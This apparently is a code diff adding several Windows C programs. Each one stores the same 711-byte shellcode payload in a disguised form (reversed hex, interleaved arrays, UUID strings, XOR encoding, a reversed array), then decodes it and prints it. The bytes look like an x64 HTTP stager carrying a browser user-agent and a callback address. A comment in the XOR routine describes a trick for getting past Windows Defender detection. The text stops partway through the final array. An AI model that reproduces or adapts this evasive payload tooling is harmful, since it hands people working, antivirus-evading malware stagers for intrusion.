+	char reversed_hex_string[] = "5dx0,ffx0,65x0,2ax0,5bx0,0fx0,2cx0,7cx0,94x0,95x0,0x0,a6x0,85x0,3cx0,85x0,2dx0,57x0,0cx0,58x0,3cx0,1x0,84x0,7x0,b8x0,66x0,2bx0,47x0,0cx0,58x0,02x0,4cx0,38x0,84x0,5dx0,ffx0,0x0,0x0,0x0,0x0,2ex0,98x0,69x0,21x0,abx0,94x0,9fx0,98x0,94x0,0x0,0x0,02x0,0x0,0cx0,7cx0,94x0,adx0,98x0,84x0,1fx0,98x0,84x0,7ex0,98x0,84x0,35x0,35x0,39x0,84x0,5dx0,ffx0,0x0,0x0,0x0,0x0,5ex0,35x0,4ax0,85x0,abx0,94x0,0x0,0x0,01x0,0x0,0cx0,7cx0,94x0,01x0,2ex0,1cx0,1dx0,98x0,94x0,a5x0,04x0,a6x0,95x0,35x0,0x0,0x0,0x0,55x0,8ex0,ccx0,bex0,2x0,47x0,fcx0,ffx0,84x0,5dx0,ffx0,0x0,0x0,0x0,0x0,0ex0,53x0,0fx0,44x0,abx0,94x0,0x0,0x0,31x0,88x0,1cx0,7cx0,84x0,f1x0,57x0,0cx0,58x0,5dx0,ffx0,b7x0,81x0,6x0,d2x0,2cx0,7cx0,94x0,35x0,35x0,9cx0,13x0,d4x0,9cx0,13x0,d4x0,1fx0,98x0,84x0,a5x0,35x0,f5x0,ax0,a6x0,6cx0,98x0,84x0,5dx0,ffx0,b3x0,e2x0,55x0,bex0,2cx0,7cx0,94x0,35x0,35x0,05x0,0x0,0x0,0x0,0x0,48x0,82x0,2x0,0x0,8bx0,84x0,35x0,9cx0,13x0,d4x0,85x0,14x0,a5x0,35x0,1cx0,98x0,84x0,0x0,d2x0,57x0,87x0,67x0,17x0,e6x0,f4x0,a4x0,45x0,14x0,96x0,25x0,13x0,26x0,65x0,17x0,53x0,85x0,14x0,15x0,47x0,26x0,64x0,93x0,93x0,47x0,05x0,44x0,66x0,85x0,a6x0,c6x0,13x0,56x0,47x0,d4x0,35x0,23x0,24x0,16x0,74x0,f5x0,73x0,83x0,43x0,b6x0,96x0,e6x0,c6x0,f5x0,a6x0,77x0,05x0,24x0,14x0,37x0,07x0,57x0,f5x0,d4x0,73x0,f4x0,a7x0,d6x0,36x0,27x0,e4x0,25x0,95x0,96x0,44x0,77x0,57x0,f2x0,0x0,0x0,0x0,b4x0,8ex0,5dx0,ffx0,0x0,0x0,0x0,0x0,6cx0,f9x0,98x0,75x0,abx0,94x0,35x0,3x0,a6x0,35x0,35x0,9cx0,13x0,d4x0,0x0,0x0,0x0,05x0,0cx0,7cx0,94x0,1cx0,98x0,84x0,a5x0,0x0,43x0,33x0,13x0,e2x0,03x0,93x0,13x0,e2x0,83x0,63x0,13x0,e2x0,23x0,93x0,13x0,0x0,0x0,0x0,01x0,8ex0,5dx0,ffx0,0x0,0x0,0x0,0x0,7ax0,97x0,65x0,a3x0,abx0,94x0,35x0,35x0,9cx0,13x0,d4x0,0cx0,13x0,d4x0,a5x0,35x0,95x0,0x0,63x0,33x0,e2x0,73x0,33x0,53x0,f2x0,96x0,27x0,16x0,66x0,16x0,35x0,02x0,03x0,e2x0,03x0,e2x0,03x0,e2x0,13x0,33x0,13x0,f2x0,56x0,d6x0,f6x0,27x0,86x0,34x0,02x0,92x0,f6x0,b6x0,36x0,56x0,74x0,02x0,56x0,b6x0,96x0,c6x0,02x0,c2x0,c4x0,d4x0,45x0,84x0,b4x0,82x0,02x0,63x0,33x0,e2x0,73x0,33x0,53x0,f2x0,47x0,96x0,b4x0,26x0,56x0,75x0,56x0,c6x0,07x0,07x0,14x0,02x0,92x0,43x0,63x0,87x0,02x0,b3x0,43x0,63x0,e6x0,96x0,75x0,02x0,b3x0,03x0,e2x0,03x0,13x0,02x0,45x0,e4x0,02x0,37x0,77x0,f6x0,46x0,e6x0,96x0,75x0,82x0,02x0,03x0,e2x0,53x0,f2x0,16x0,c6x0,c6x0,96x0,a7x0,f6x0,d4x0,0x0,0x0,0x0,07x0,8ex0,35x0,35x0,5dx0,ffx0,7x0,62x0,77x0,c4x0,2cx0,7cx0,94x0,1ex0,98x0,84x0,65x0,14x0,0x0,47x0,56x0,e6x0,96x0,e6x0,96x0,77x0,ebx0,94x0,35x0,bdx0,13x0,84x0,d5x0,ffx0,ffx0,ffx0,b4x0,9ex0,21x0,b8x0,84x0,a5x0,95x0,14x0,85x0,0ex0,ffx0,25x0,14x0,02x0,cex0,38x0,84x0,a5x0,14x0,95x0,14x0,85x0,14x0,a5x0,95x0,e5x0,0dx0,1x0,84x0,85x0,14x0,85x0,14x0,88x0,4x0,b8x0,14x0,0dx0,1x0,94x0,c1x0,04x0,b8x0,44x0,84x0,cx0,b8x0,14x0,66x0,0dx0,1x0,94x0,42x0,04x0,b8x0,44x0,85x0,8dx0,57x0,1dx0,93x0,54x0,8x0,42x0,c4x0,3x0,c4x0,1fx0,57x0,0ex0,83x0,1cx0,1x0,14x0,dx0,9cx0,1cx0,14x0,cax0,0cx0,13x0,84x0,6dx0,1x0,84x0,9cx0,13x0,d4x0,88x0,43x0,b8x0,14x0,9cx0,ffx0,84x0,65x0,3ex0,05x0,81x0,84x0,b8x0,0dx0,1x0,94x0,02x0,04x0,b8x0,44x0,0dx0,1x0,84x0,76x0,47x0,0cx0,58x0,84x0,0x0,0x0,0x0,88x0,08x0,b8x0,0x0,0x0,0x0,27x0,58x0,fx0,2x0,bx0,81x0,87x0,18x0,66x0,0dx0,1x0,84x0,15x0,14x0,c3x0,24x0,b8x0,02x0,25x0,b8x0,84x0,25x0,dex0,2ex0,1cx0,1x0,14x0,dx0,9cx0,1cx0,14x0,02x0,c2x0,2x0,c7x0,16x0,c3x0,cax0,0cx0,13x0,84x0,9cx0,13x0,d4x0,05x0,27x0,b8x0,84x0,a4x0,a4x0,7bx0,fx0,84x0,65x0,15x0,02x0,25x0,b8x0,84x0,81x0,25x0,b8x0,84x0,06x0,25x0,b8x0,84x0,56x0,2dx0,13x0,84x0,25x0,05x0,14x0,15x0,14x0,0x0,0x0,0x0,ccx0,8ex0,0fx0,4ex0,38x0,84x0,cfx0";
+unsigned int shellcode_len = 711;
+
+
+	// reverse the string
+	char* hex_string = _strrev(reversed_hex_string);
+	printf("Reversed hex string: %s\n", hex_string);
+
+	// declare a new shellcode byte array
+	char shellcode[sizeof(reversed_hex_string)] = { 0 };
+	
+	// define an index to keep track of where we're at
+	int idx = 0;
+	int count = 0;
+	const int MAX_TOKENS = sizeof(reversed_hex_string);
+	char* next_token = NULL;
+	char* token = strtok_s(hex_string, ",", &next_token);
+	while (token != NULL && count < MAX_TOKENS) {
+		shellcode[count++] = strtol(token, NULL, 16);
+		token = strtok_s(NULL, ",", &next_token);
+	}
+
+	idx = 0;
+	while ( idx < shellcode_len)
+	{
+		if (idx == (shellcode_len - 1) )
+		{
+			printf("0x%02x ", (unsigned char)shellcode[idx]);
+		}
+		else
+		{
+			printf("0x%02x, ", (unsigned char)shellcode[idx]);
+		}
+		idx++;
+	}
+
+    return 0;
+	
+}
+
@@ -0,0 +1,56 @@
+#include <windows.h>
+#include <stdio.h>
+
+
+int main(void)
+{
+	
+
+	#define PAYLOAD_SIZE 711
+char evens[356] = {0xfc, 0x83, 0xf0, 0xcc, 0x0, 0x41, 0x41, 0x52, 0x31, 0x65, 0x8b, 0x60, 0x8b, 0x18, 0x8b, 0x20, 0x56, 0xf, 0x4a, 0x48, 0x72, 0x4d, 0xc9, 0x31, 0xac, 0x61, 0x2, 0x20, 0xc1, 0xd, 0x1, 0xe2, 0x52, 0x8b, 0x20, 0x42, 0x41, 0x48, 0xd0, 0x81, 0x18, 0x2, 0x85, 0x0, 0x0, 0x80, 0x0, 0x0, 0x85, 0x74, 0x48, 0xd0, 0x8b, 0x20, 0x1, 0x8b, 0x18, 0xe3, 0x48, 0xc9, 0x8b, 0x88, 0x31, 0x48, 0xd6, 0x31, 0xac, 0xc1, 0xd, 0x1, 0x38, 0x75, 0x4c, 0x4c, 0x8, 0x39, 0x75, 0x58, 0x8b, 0x24, 0x1, 0x66, 0x8b, 0x48, 0x8b, 0x1c, 0x1, 0x41, 0x4, 0x41, 0x41, 0x48, 0xd0, 0x59, 0x41, 0x41, 0x41, 0x48, 0xec, 0x41, 0xff, 0x58, 0x59, 0x48, 0x12, 0x4b, 0xff, 0x5d, 0x31, 0x53, 0xbe, 0x69, 0x69, 0x65, 0x0, 0x56, 0x89, 0x49, 0xc2, 0x77, 0x7, 0xd5, 0x53, 0x70, 0x0, 0x4d, 0x7a, 0x6c, 0x61, 0x35, 0x30, 0x28, 0x69, 0x64, 0x77, 0x20, 0x54, 0x31, 0x2e, 0x3b, 0x57, 0x6e, 0x34, 0x20, 0x36, 0x29, 0x41, 0x70, 0x65, 0x65, 0x4b, 0x74, 0x35, 0x37, 0x33, 0x20, 0x4b, 0x54, 0x4c, 0x20, 0x69, 0x65, 0x47, 0x63, 0x6f, 0x20, 0x68, 0x6f, 0x65, 0x31, 0x31, 0x30, 0x30, 0x30, 0x53, 0x66, 0x72, 0x2f, 0x33, 0x2e, 0x36, 0x59, 0x5a, 0x31, 0x4d, 0xc9, 0x53, 0xba, 0x56, 0xa7, 0x0, 0x0, 0xd5, 0x10, 0x0, 0x31, 0x32, 0x31, 0x38, 0x31, 0x30, 0x31, 0x34, 0x5a, 0x89, 0x49, 0xc0, 0x0, 0x0, 0x31, 0x53, 0x6a, 0x53, 0xba, 0x89, 0xc6, 0x0, 0x0, 0xd5, 0x4b, 0x0, 0x2f, 0x77, 0x69, 0x52, 0x72, 0x6d, 0x4f, 0x4d, 0x75, 0x73, 0x42, 0x77, 0x5f, 0x6e, 0x6b, 0x38, 0x5f, 0x61, 0x32, 0x4d, 0x65, 0x6c, 0x58, 0x44, 0x74, 0x39, 0x62, 0x51, 0x58, 0x71, 0x62, 0x52, 0x41, 0x4a, 0x6e, 0x76, 0x75, 0x0, 0x89, 0x53, 0x41, 0x4d, 0xc9, 0x48, 0x0, 0x28, 0x0, 0x0, 0x50, 0x53, 0xc7, 0xeb, 0x2e, 0xff, 0x48, 0xc6, 0xa, 0x53, 0x48, 0xf1, 0x31, 0x4d, 0xc9, 0x53, 0xc7, 0x2d, 0x18, 0xff, 0x85, 0x75, 0x48, 0xc1, 0x13, 0x0, 0xba, 0xf0, 0xe0, 0x0, 0x0, 0xd5, 0xff, 0x74, 0xeb, 0xe8, 0x0, 0x0, 0x59, 0x40, 0x49, 0xd1, 0xe2, 0x49, 0xc0, 0x10, 0x0, 0xba, 0xa4, 0xe5, 0x0, 0x0, 0xd5, 0x93, 0x53, 0x89, 0x48, 0xf1, 0x89, 0x49, 0xc0, 0x20, 0x0, 0x89, 0x49, 0x12, 0x89, 0x0, 0x0, 0xff, 0x48, 0xc4, 0x85, 0x74, 0x66, 0x7, 0x1, 0x85, 0x75, 0x58, 0x58, 0x0, 0x49, 0xc2, 0xb5, 0x56, 0xd5};
+char odds[355] = {0x48, 0xe4, 0xe8, 0x0, 0x0, 0x51, 0x50, 0x48, 0xd2, 0x48, 0x52, 0x48, 0x52, 0x48, 0x52, 0x51, 0x48, 0xb7, 0x4a, 0x8b, 0x50, 0x31, 0x48, 0xc0, 0x3c, 0x7c, 0x2c, 0x41, 0xc9, 0x41, 0xc1, 0xed, 0x48, 0x52, 0x8b, 0x3c, 0x51, 0x1, 0x66, 0x78, 0xb, 0xf, 0x72, 0x0, 0x8b, 0x88, 0x0, 0x48, 0xc0, 0x67, 0x1, 0x44, 0x40, 0x49, 0xd0, 0x48, 0x50, 0x56, 0xff, 0x41, 0x34, 0x4d, 0xc9, 0x1, 0x48, 0xc0, 0x41, 0xc9, 0x41, 0xc1, 0xe0, 0xf1, 0x3, 0x24, 0x45, 0xd1, 0xd8, 0x44, 0x40, 0x49, 0xd0, 0x41, 0xc, 0x44, 0x40, 0x49, 0xd0, 0x8b, 0x88, 0x58, 0x58, 0x1, 0x5e, 0x5a, 0x58, 0x59, 0x5a, 0x83, 0x20, 0x52, 0xe0, 0x41, 0x5a, 0x8b, 0xe9, 0xff, 0xff, 0x48, 0xdb, 0x49, 0x77, 0x6e, 0x6e, 0x74, 0x41, 0x48, 0xe1, 0xc7, 0x4c, 0x26, 0xff, 0x53, 0xe8, 0x0, 0x0, 0x6f, 0x69, 0x6c, 0x2f, 0x2e, 0x20, 0x57, 0x6e, 0x6f, 0x73, 0x4e, 0x20, 0x30, 0x30, 0x20, 0x69, 0x36, 0x3b, 0x78, 0x34, 0x20, 0x70, 0x6c, 0x57, 0x62, 0x69, 0x2f, 0x33, 0x2e, 0x36, 0x28, 0x48, 0x4d, 0x2c, 0x6c, 0x6b, 0x20, 0x65, 0x6b, 0x29, 0x43, 0x72, 0x6d, 0x2f, 0x33, 0x2e, 0x2e, 0x2e, 0x20, 0x61, 0x61, 0x69, 0x35, 0x37, 0x33, 0x0, 0x53, 0x4d, 0xc0, 0x31, 0x53, 0x49, 0x3a, 0x79, 0x0, 0x0, 0xff, 0xe8, 0x0, 0x0, 0x39, 0x2e, 0x36, 0x2e, 0x39, 0x2e, 0x33, 0x0, 0x48, 0xc1, 0xc7, 0x50, 0x0, 0x4d, 0xc9, 0x53, 0x3, 0x49, 0x57, 0x9f, 0x0, 0x0, 0xff, 0xe8, 0x0, 0x0, 0x75, 0x44, 0x59, 0x4e, 0x63, 0x7a, 0x37, 0x5f, 0x70, 0x41, 0x50, 0x6a, 0x6c, 0x69, 0x34, 0x37, 0x47, 0x42, 0x53, 0x74, 0x31, 0x6a, 0x66, 0x50, 0x39, 0x46, 0x74, 0x41, 0x35, 0x56, 0x31, 0x69, 0x54, 0x4f, 0x71, 0x78, 0x2d, 0x48, 0xc1, 0x5a, 0x58, 0x31, 0x53, 0xb8, 0x2, 0x84, 0x0, 0x0, 0x53, 0x49, 0xc2, 0x55, 0x3b, 0xd5, 0x89, 0x6a, 0x5f, 0x5a, 0x89, 0x4d, 0xc9, 0x31, 0x53, 0x49, 0xc2, 0x6, 0x7b, 0xd5, 0xc0, 0x1f, 0xc7, 0x88, 0x0, 0x49, 0x44, 0x35, 0x0, 0x0, 0xff, 0x48, 0xcf, 0x2, 0xcc, 0x55, 0x0, 0x53, 0x6a, 0x5a, 0x89, 0xc1, 0x10, 0xc7, 0x0, 0x0, 0x49, 0x58, 0x53, 0x0, 0x0, 0xff, 0x48, 0x53, 0x48, 0xe7, 0x89, 0x48, 0xda, 0xc7, 0x0, 0x0, 0x49, 0xf9, 0xba, 0x96, 0xe2, 0x0, 0x0, 0xd5, 0x83, 0x20, 0xc0, 0xb2, 0x8b, 0x48, 0xc3, 0xc0, 0xd2, 0xc3, 0x6a, 0x59, 0xc7, 0xf0, 0xa2, 0xff};
+
+
+	char shellcode[PAYLOAD_SIZE] = { 0x00 };
+	int twoArrIdx = 0;
+	int idx = 0;
+
+	while (idx < PAYLOAD_SIZE)
+	{
+		// read from the even array
+		shellcode[idx] = evens[twoArrIdx];
+		
+		// odds will be one byte less than evens if PAYLOAD_SIZE is odd
+		if ( twoArrIdx == (int)sizeof(odds) )
+		{
+			// do nothing, otherwise we'll read past the end of our array
+		}
+		else
+		{
+			// read from odd array
+			shellcode[idx+1] = odds[twoArrIdx];
+			
+			// increment twoArrIdx to move to the next position in the evens and odds arrays
+			twoArrIdx++;
+		}
+
+		// we've just added two bytes, so we need to shift two positions instead of one
+		idx = idx + 2;
+	}
+
+	idx = 0;
+	while ( idx < PAYLOAD_SIZE)
+	{
+		if (idx == (PAYLOAD_SIZE - 1))
+		{
+			printf("0x%02x ", (unsigned char)shellcode[idx]);
+		}
+		else
+		{
+			printf("0x%02x, ", (unsigned char)shellcode[idx]);
+		}
+		idx++;
+	}
+
+    return 0;
+}
@@ -0,0 +1,103 @@
+#include <windows.h>
+#include <stdio.h>
+#include <Rpc.h>
+#pragma comment(lib, "Rpcrt4.lib")
+
+
+struct ustring {
+	DWORD Length;
+	DWORD MaximumLength;
+	PUCHAR Buffer;
+} _data, key;
+
+
+int main(void)
+{
+    
+    char * UUIDs[] = {
+        "e48348fc-e8f0-00cc-0000-415141505248",
+        "4865d231-528b-4860-8b52-18488b522051",
+        "b70f4856-4a4a-8b48-7250-4d31c94831c0",
+        "7c613cac-2c02-4120-c1c9-0d4101c1e2ed",
+        "528b4852-8b20-3c42-4151-4801d0668178",
+        "0f020b18-7285-0000-008b-808800000048",
+        "6774c085-0148-44d0-8b40-204901d08b48",
+        "56e35018-ff48-41c9-8b34-884d31c94801",
+        "c03148d6-41ac-c9c1-0d41-01c138e075f1",
+        "244c034c-4508-d139-75d8-58448b402449",
+        "4166d001-0c8b-4448-8b40-1c4901d0418b",
+        "58418804-5841-0148-d05e-595a41584159",
+        "83485a41-20ec-5241-ffe0-5841595a488b",
+        "ff4be912-ffff-485d-31db-5349be77696e",
+        "74656e69-4100-4856-89e1-49c7c24c7726",
+        "53d5ff07-e853-0070-0000-4d6f7a696c6c",
+        "2e352f61-2030-5728-696e-646f7773204e",
+        "30312054-302e-203b-5769-6e36343b2078",
+        "20293436-7041-6c70-6557-65624b69742f",
+        "2e373335-3633-2820-4b48-544d4c2c206c",
+        "20656b69-6547-6b63-6f29-204368726f6d",
+        "33312f65-2e31-2e30-302e-302053616661",
+        "352f6972-3733-332e-3600-59535a4d31c0",
+        "53c9314d-4953-3aba-5679-a700000000ff",
+        "0010e8d5-0000-3931-322e-3136382e3139",
+        "33312e30-0034-485a-89c1-49c7c0500000",
+        "c9314d00-5353-036a-5349-ba57899fc600",
+        "ff000000-e8d5-004b-0000-2f7577446959",
+        "63724e52-7a6d-374f-4d5f-757073414250",
+        "6c5f6a77-696e-346b-3837-5f4761423253",
+        "3165744d-6a6c-6658-4450-743939466274",
+        "35584151-5671-3162-5269-41544a4f6e71",
+        "2d757876-4800-c189-535a-41584d31c953",
+        "0200b848-8428-0000-0000-50535349c7c2",
+        "3b2e55eb-d5ff-8948-c66a-0a5f535a4889",
+        "c9314df1-314d-53c9-5349-c7c22d06187b",
+        "c085d5ff-1f75-c748-c188-13000049ba44",
+        "00e035f0-0000-ff00-d548-ffcf7402ebcc",
+        "000055e8-5300-6a59-405a-4989d1c1e210",
+        "00c0c749-0010-4900-ba58-a453e5000000",
+        "48d5ff00-5393-4853-89e7-4889f14889da",
+        "00c0c749-0020-4900-89f9-49ba129689e2",
+        "00000000-d5ff-8348-c420-85c074b2668b",
+        "c3014807-c085-d275-58c3-586a005949c7",
+        "a2b5f0c2-ff56-90d5-9090-909090909090"
+	};
+	
+	// get the size of our shellcode stored as UUIDs
+	unsigned int shellcode_size = (unsigned int)sizeof(UUIDs) * 2;
+	
+	// Declare a buffer for storing our shellcode
+	void * buffer = VirtualAlloc(NULL, shellcode_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
+
+	// This keeps track of our current position in the allocated buffer
+	void * bufferBaseAddress = NULL; 
+	
+	// This keeps track of how many bytes we've written into the buffer
+	int i = 0;
+	
+	// Loop through our list of UUIDs and use UuidFromStringA to convert and load into memory
+    for (int count = 0; count < sizeof(UUIDs) / sizeof(UUIDs[0]); count++) {
+		bufferBaseAddress = ((ULONG_PTR)buffer + i);
+        RPC_STATUS status = UuidFromStringA((RPC_CSTR)UUIDs[count], bufferBaseAddress);
+        i += 16;
+    }
+	
+	// create a new struct from the buffer we allocated
+	_data.Buffer = buffer;
+	_data.Length = shellcode_size;
+	
+ 	int idx = 0;
+	while ( idx < _data.Length)
+	{
+		if (idx == (shellcode_size - 1) )
+		{
+			printf("0x%02x ", _data.Buffer[idx]);
+		}
+		else
+		{
+			printf("0x%02x, ", _data.Buffer[idx]);
+		}
+		idx++;
+	}
+	
+
+}
@@ -0,0 +1,53 @@
+#include <windows.h>
+#include <stdio.h>
+
+
+void XOR(char * ciphertext, size_t ciphertext_len, char * key, size_t key_len) {
+	// Defender will detect this function
+	// Somehow, opening the null device and closing it again is enough to avoid detection
+	FILE* outfile = fopen("nul", "w");
+	
+	int myByte = 0;
+	int k_minus_one = key_len - 1;
+	for (int idx = 0;  idx < ciphertext_len; idx++) {
+		if (myByte == k_minus_one)
+		{ 
+			myByte = 0;
+		}
+		
+		ciphertext[idx] = ciphertext[idx] ^ key[myByte];
+		myByte++;
+
+	}
+	// Close our decoy
+	fclose(outfile);
+}
+
+
+int main(void)
+{
+	
+	char shellcode[711] = {0xa4,0x07,0xd1,0xaf,0xb5,0xb1,0x94,0x4f,0x52,0x4b,0x04,0x08,0x19,0x1f,0x00,0x03,0x74,0x8b,0x3d,0x07,0xd9,0x19,0x25,0x11,0xd3,0x1d,0x4a,0x03,0xce,0x0b,0x78,0x1e,0x04,0x03,0x4a,0xee,0x12,0x05,0x1a,0xc0,0x37,0x09,0x15,0x7e,0x9b,0x03,0x74,0x99,0xf4,0x73,0x33,0x37,0x47,0x75,0x78,0x0e,0x93,0x82,0x48,0x18,0x59,0x8e,0xb0,0xa6,0x17,0x11,0xd3,0x1d,0x72,0xc0,0x07,0x65,0x19,0x1e,0x1a,0x4a,0x95,0x3f,0xd9,0x37,0x4a,0x40,0x47,0x56,0xdd,0x3d,0x52,0x4b,0x45,0xd2,0xd8,0xc7,0x52,0x4b,0x45,0x11,0xdd,0x8f,0x26,0x2c,0x0d,0x58,0x88,0x0b,0xd9,0x0b,0x65,0x10,0x59,0x9f,0xd9,0x03,0x5d,0x09,0xbb,0x19,0x1a,0xb4,0x8c,0x18,0xd3,0x7b,0xda,0x06,0x74,0x90,0x10,0x4e,0x84,0x03,0x74,0x99,0xf4,0x0e,0x93,0x82,0x48,0x18,0x59,0x8e,0x6a,0xab,0x30,0xa8,0x14,0x4c,0x1e,0x6f,0x4d,0x1c,0x61,0x9e,0x27,0x93,0x1d,0x1d,0xd3,0x0f,0x76,0x02,0x44,0x89,0x3e,0x0e,0xd9,0x47,0x0d,0x1d,0xd3,0x0f,0x4e,0x02,0x44,0x89,0x19,0xc4,0x56,0xc3,0x04,0x01,0x19,0x17,0x1a,0x4a,0x95,0x07,0x01,0x15,0x13,0x13,0x04,0x00,0x19,0x15,0x1a,0xc8,0xa9,0x79,0x19,0x1d,0xad,0xab,0x1d,0x18,0x01,0x15,0x1a,0xc0,0x57,0xb0,0x13,0xb0,0xad,0xb4,0x18,0x11,0x69,0x94,0x01,0x02,0xfb,0x2e,0x31,0x21,0x3b,0x25,0x20,0x2d,0x58,0x0e,0x04,0x03,0xcc,0xb8,0x11,0x88,0x90,0x07,0x32,0x7f,0x5f,0xb0,0x87,0x18,0x16,0xb1,0x28,0x4f,0x52,0x4b,0x08,0x36,0x22,0x26,0x3e,0x27,0x24,0x76,0x6d,0x61,0x62,0x6b,0x6d,0x0e,0x31,0x21,0x36,0x24,0x32,0x2a,0x78,0x01,0x06,0x6b,0x74,0x69,0x76,0x7f,0x69,0x6b,0x12,0x30,0x36,0x79,0x66,0x70,0x65,0x21,0x6e,0x7b,0x7b,0x6b,0x04,0x29,0x28,0x23,0x37,0x1c,0x20,0x3b,0x13,0x26,0x26,0x64,0x70,0x6a,0x6f,0x61,0x61,0x7d,0x65,0x71,0x13,0x07,0x06,0x06,0x09,0x75,0x78,0x23,0x3b,0x20,0x20,0x79,0x1f,0x2a,0x31,0x20,0x2a,0x70,0x78,0x0c,0x3a,0x39,0x2a,0x34,0x3d,0x60,0x63,0x78,0x74,0x77,0x68,0x61,0x62,0x65,0x75,0x79,0x0b,0x2e,0x34,0x2a,0x37,0x30,0x77,0x7a,0x61,0x7c,0x6b,0x6a,0x6e,0x4f,0x0b,0x18,0x1f,0x14,0x69,0x8f,0x1f,0x7a,0x8c,0x0a,0x0b,0x06,0xe8,0x71,0x13,0x20,0xff,0x4f,0x52,0x4b,0x45,0xa6,0x8d,0xa7,0x42,0x4b,0x45,0x59,0x69,0x76,0x60,0x65,0x74,0x6f,0x60,0x61,0x63,0x72,0x75,0x77,0x69,0x7c,0x66,0x4b,0x1f,0x11,0xd1,0x8e,0x1b,0x8c,0x85,0x09,0x58,0x4f,0x52,0x06,0x74,0x90,0x0b,0x1c,0x38,0x48,0x16,0x10,0xe2,0x18,0xdb,0xd4,0x83,0x59,0x58,0x4f,0x52,0xb4,0x90,0xb1,0x13,0x4f,0x52,0x4b,0x6a,0x2c,0x2f,0x0b,0x3b,0x12,0x17,0x17,0x2a,0x2c,0x3f,0x31,0x0a,0x6e,0x15,0x10,0x27,0x3b,0x36,0x18,0x1a,0x1f,0x25,0x21,0x1a,0x35,0x36,0x26,0x39,0x7f,0x7d,0x6e,0x07,0x08,0x33,0x09,0x77,0x0a,0x15,0x3b,0x37,0x7a,0x29,0x33,0x00,0x29,0x16,0x1b,0x31,0x60,0x61,0x09,0x30,0x3f,0x14,0x18,0x00,0x7a,0x23,0x1d,0x27,0x68,0x0a,0x26,0x13,0x1f,0x0f,0x16,0x36,0x3e,0x24,0x33,0x30,0x74,0x58,0x07,0xdb,0x8a,0x16,0x03,0x19,0x17,0x1f,0x7a,0x8c,0x0a,0x10,0xf7,0x52,0x49,0x6d,0xdd,0x58,0x4f,0x52,0x4b,0x15,0x0a,0x0b,0x06,0x95,0x89,0xae,0x0c,0x76,0x74,0xad,0x9e,0x0d,0xd0,0x9e,0x25,0x58,0x14,0x16,0x03,0x10,0xc6,0xa3,0x06,0x74,0x90,0x15,0x7e,0x9b,0x18,0x16,0x10,0x9f,0x8d,0x7f,0x4d,0x5d,0x22,0xa7,0x9a,0xd7,0x8b,0x30,0x46,0x10,0x88,0x93,0xc3,0x56,0x59,0x58,0x06,0xe8,0x0f,0xb5,0x6c,0xb8,0x4f,0x52,0x4b,0x45,0xa6,0x8d,0x07,0xad,0x84,0x31,0x5b,0xb3,0x83,0xba,0x1e,0x45,0x59,0x58,0x1c,0x0b,0x21,0x05,0x03,0x11,0xc6,0x83,0x8a,0xa7,0x49,0x11,0x88,0x92,0x4b,0x55,0x59,0x58,0x06,0xe8,0x13,0xe1,0x0a,0xbd,0x4f,0x52,0x4b,0x45,0xa6,0x8d,0x07,0xc1,0x18,0x16,0x11,0xd1,0xa8,0x1a,0xc2,0xb4,0x11,0xd1,0x95,0x1b,0x8c,0x85,0x59,0x78,0x4f,0x52,0x02,0xcc,0xa0,0x11,0xf5,0x40,0xdd,0xcc,0xbb,0x58,0x4f,0x52,0x4b,0xba,0x8c,0x10,0xcc,0x96,0x6b,0xc0,0x99,0x2c,0xfd,0x34,0xc0,0x42,0x11,0x59,0x8c,0xd7,0x8b,0x30,0x8b,0x00,0x8c,0x0a,0x21,0x45,0x00,0x11,0x88,0x90,0xbb,0xf0,0xfb,0x0e,0xb0,0x87};
+	char xorkey[] = "XORKEY";
+
+	
+	// XOR our shellcode with the key to decode it
+	XOR((char *) shellcode, sizeof(shellcode), xorkey, sizeof(xorkey));
+	
+	int idx = 0;
+	while ( idx < sizeof(shellcode))
+	{
+		if (idx == (sizeof(shellcode) - 1) )
+		{
+			printf("0x%02x ", (unsigned char)shellcode[idx]);
+		}
+		else
+		{
+			printf("0x%02x, ", (unsigned char)shellcode[idx]);
+		}
+		idx++;
+	}
+
+	
+	return 0;
+}
@@ -0,0 +1,39 @@
+#include <windows.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+
+int main(void)
+{
+	
+
+	unsigned char reversed_payload [711] = {0xc2, 0xe8, 0x41, 0xb5, 0xa2, 0xe7, 0xd5, 0xd0, 0x5e, 0x4e, 0x17, 0x7d, 0x4f, 0xd4, 0x4f, 0xc5, 0x62, 0xd7, 0x92, 0xd4, 0x16, 0x5f, 0x10, 0x9c, 0x71, 0xa5, 0x63, 0xd7, 0x92, 0x37, 0xd3, 0x94, 0x5f, 0xc2, 0xe8, 0x17, 0x17, 0x17, 0x17, 0xf5, 0x9e, 0x81, 0x5, 0xad, 0x5e, 0xee, 0x9e, 0x5e, 0x17, 0x17, 0x37, 0x17, 0xd7, 0xd0, 0x5e, 0xcd, 0x9e, 0x5f, 0xe6, 0x9e, 0x5f, 0xf0, 0x9e, 0x5f, 0x44, 0x44, 0x84, 0x5f, 0xc2, 0xe8, 0x17, 0x17, 0x17, 0x17, 0xf2, 0x44, 0xb3, 0x4f, 0xad, 0x5e, 0x17, 0x17, 0x7, 0x17, 0xd7, 0xd0, 0x5e, 0x7, 0xf5, 0xd6, 0xc6, 0x9e, 0x5e, 0x4d, 0x57, 0x7d, 0x4e, 0x44, 0x17, 0x17, 0x17, 0x42, 0xff, 0xdb, 0xfc, 0x15, 0x63, 0xd8, 0xe8, 0x5f, 0xc2, 0xe8, 0x17, 0x17, 0x17, 0x17, 0xf7, 0x22, 0xe7, 0x53, 0xad, 0x5e, 0x17, 0x17, 0x4, 0x9f, 0xd6, 0xd0, 0x5f, 0x8, 0x62, 0xd7, 0x92, 0xc2, 0xe8, 0x6c, 0xf, 0x11, 0x3a, 0xd5, 0xd0, 0x5e, 0x44, 0x44, 0xde, 0x26, 0x5a, 0xde, 0x26, 0x5a, 0xe6, 0x9e, 0x5f, 0x4d, 0x44, 0x48, 0x1d, 0x7d, 0xd1, 0x9e, 0x5f, 0xc2, 0xe8, 0x2c, 0x39, 0x42, 0xfc, 0xd5, 0xd0, 0x5e, 0x44, 0x44, 0x47, 0x17, 0x17, 0x17, 0x17, 0x93, 0x3f, 0x15, 0x17, 0xaf, 0x5f, 0x44, 0xde, 0x26, 0x5a, 0x4f, 0x56, 0x4d, 0x44, 0xd6, 0x9e, 0x5f, 0x17, 0x3a, 0x62, 0x6f, 0x61, 0x66, 0x79, 0x58, 0x5d, 0x43, 0x56, 0x7e, 0x45, 0x26, 0x75, 0x41, 0x66, 0x22, 0x4f, 0x56, 0x46, 0x63, 0x75, 0x51, 0x2e, 0x2e, 0x63, 0x47, 0x53, 0x71, 0x4f, 0x7d, 